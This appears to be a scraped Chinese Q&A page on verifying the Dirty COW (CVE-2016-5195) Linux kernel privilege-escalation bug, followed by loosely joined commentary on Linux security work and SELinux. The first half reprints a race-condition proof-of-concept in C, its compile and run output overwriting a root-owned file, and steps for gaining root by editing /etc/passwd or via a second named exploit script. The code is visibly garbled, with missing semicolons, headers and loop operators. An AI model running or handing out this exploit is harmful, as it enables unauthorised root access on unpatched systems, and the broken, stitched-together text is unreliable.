linux内核通杀提权漏洞怎么验证

linux内核通杀提权漏洞怎么验证,第1张

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root 权限。影响范围:该漏洞影响所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年发布的版本,也就是说这个漏洞几乎影响 2007 以后的所有版本。漏洞测试:读取 /proc/version 来获取 LinuxKernel 版本:

➜ ~ cat /proc/version

Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看样子是受影响的,github 上给出了如下的 POC:

#include

#include

#include

#include

#include

void *map

int f

structstat st

char*name

void*madviseThread(void *arg) {

char *str

str = (char *)arg

int i, c = 0

for (i = 0i 100000000i++) {

c += madvise(map, 100, MADV_DONTNEED)

}

printf("madvise %d\n", c)

}

void*procselfmemThread(void *arg) {

char *str

str = (char *)arg

int f = open("/proc/self/mem",O_RDWR)

int i, c = 0

for (i = 0i 100000000i++) {

lseek(f, map, SEEK_SET)

c += write(f, str, strlen(str))

}

printf("procselfmem %d\n", c)

}

intmain(int argc, char *argv[]) {

if (argc 3)

return 1

pthread_t pth1, pth2

f = open(argv[1], O_RDONLY)

fstat(f, &st)

name = argv[1]

map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0)

printf("mmap %x\n", map)

pthread_create(&pth1, NULL,madviseThread, argv[1])

pthread_create(&pth2, NULL,procselfmemThread, argv[2])

pthread_join(pth1, NULL)

pthread_join(pth2, NULL)

return 0

}这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:

➜ /tmp gcc a.c -lpthread

a.c: Infunction ‘procselfmemThread’:

a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]

lseek(f, map, SEEK_SET)

a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]

c += write(f, str, strlen(str))

a.c: Infunction ‘main’:

a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]

fstat(f, &st)调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。

➜ /tmp su root -c 'echo 0000 >test'

Password:

➜ /tmp ls -al test

-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。

➜ /tmp id

uid=1000(Monster) gid=1000(monster) groups=1000(monster)

➜ /tmp ./a.out test 1111

mmap61222000

madvise 0

procselfmem400000000使用当前用户调用编译出的 a.out 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。

➜ /tmp cat test

1111可以看到结果,test 文件的内容已经被成功修改。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。

修复方案:

更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

发布版本:Red Hat Enterprise Linux Server release 6.6 (Santiago)

内核版本:Linux 2.6.32-504.el6.x86_64 #1 SMP Tue Sep 16 01:56:35 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux

提取漏洞:CVE-2016-5195 Dirty COW

提权脚本:Marion001.c

编译命令:gcc -pthread Marion001.c -o Marion001 -lcrypt.

参考连接: https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

参考视频: https://www.youtube.com/watch?v=uYVGvYeh5vo

攻击步骤:编译运行后会让攻击者输入新密码,此时可能需要另一个shell cat /etc/passwd 或者su marion00,原始passwd文件会被备份到/tmp/passwd.bak,攻击者只需切换到marion00账户即可root

题主说的Linux安全,应该指的是Linux *** 作系统的本身的安全吧。这个范围比较广,包括Linux内核层的安全与用户层的安全。用户层的安全包括Linux下的各种认证系统,比如目前流行的PAM认证机制,Ukey指纹认证机制,远程网络认证机制,LDAP认证机制,3A认证机制等。用户层安全还包括网络安全,比如通过iptables定制防火墙,关闭服务器不必要开启的端口等。内核态的安全,比如,缓冲区溢出攻击,当然这个安全漏洞在windows中也是存在的,各种各样的内核态提权漏洞等,现在有很多网络安全公司基于netfilter框架添加自已的勾子函数, 生产各种入侵检测系统等。

Linux系统安全之所以在互联网公司包括像阿里巴巴这样的公司不受重视,是因为这些公司觉得,做为暴露给用户的各种应用,如Web应用等,这些应用的安全显然比 *** 作系统的安全来得更加重要。当应用的安全得不到保障,Web程序被各种脚本小子植入如存储型XSS脚本,导致用户密码被盗,甚至导致一些更严重的结果,比如存储用户名与密码的数据库被脱库,这个就是相当严重的安全事故了。也许这个破坏者完成这些 *** 作,并不需要利用 *** 作系统的漏洞,也不需要取得 *** 作系统的用户名和密码,只是要取得一个具有较高权限的数据库管理员的密码即可完成上述 *** 作。当黑客取得Linux系统的普通用户名与密码时,当他需要root用户时,才会去利用 *** 作系统本身的漏洞进行提权。关于Linux *** 作系统提权漏洞,在2.6.18版本存在较多的提权漏洞,到了2.6.32内核,这种提权漏洞已经少了很多。

回到正题,对于现在的很多IT从业人员来说,前途最直接的体现就是工资,待遇。就目前国内来说,直接从事Linux *** 作系统安全的公司很少,大部分都是科研院校在做这方面的工作。比如中科院下属的一些研究所,国家电网、南方电网里面的研究院,当然还有各大高校的一些信息安全实验室,还有解放军叔叔,他们也在从事这些方面的工作。

当然,如同所有的IT技术一样,Linux *** 作系统的各种安全机制,也是国外在主导。现有的Linux安全框架叫做LSM,Linux security module。基于这个框架,可以实现各种各样的Linux安全机制,其中最著名的就是SELinux。因为Redhat的Linux自带的安全模块就是SELinux。SELinux最早是由NSA(美国国家安全局)主导的项目,后面开源了。Redhat在SELinux上做了大量的工作。但SELinux由于其配置比较复杂,再加上许多人认为Linux系统本身已经足够安全了,所以大部分人都将SELinux设置了disabled。想了解更多Linux命令,可查看《Linux命令大全》,具体搜索方式看下图:


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/8711508.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-20
下一篇 2023-04-20

发表评论

登录后才能评论

评论列表(0条)

保存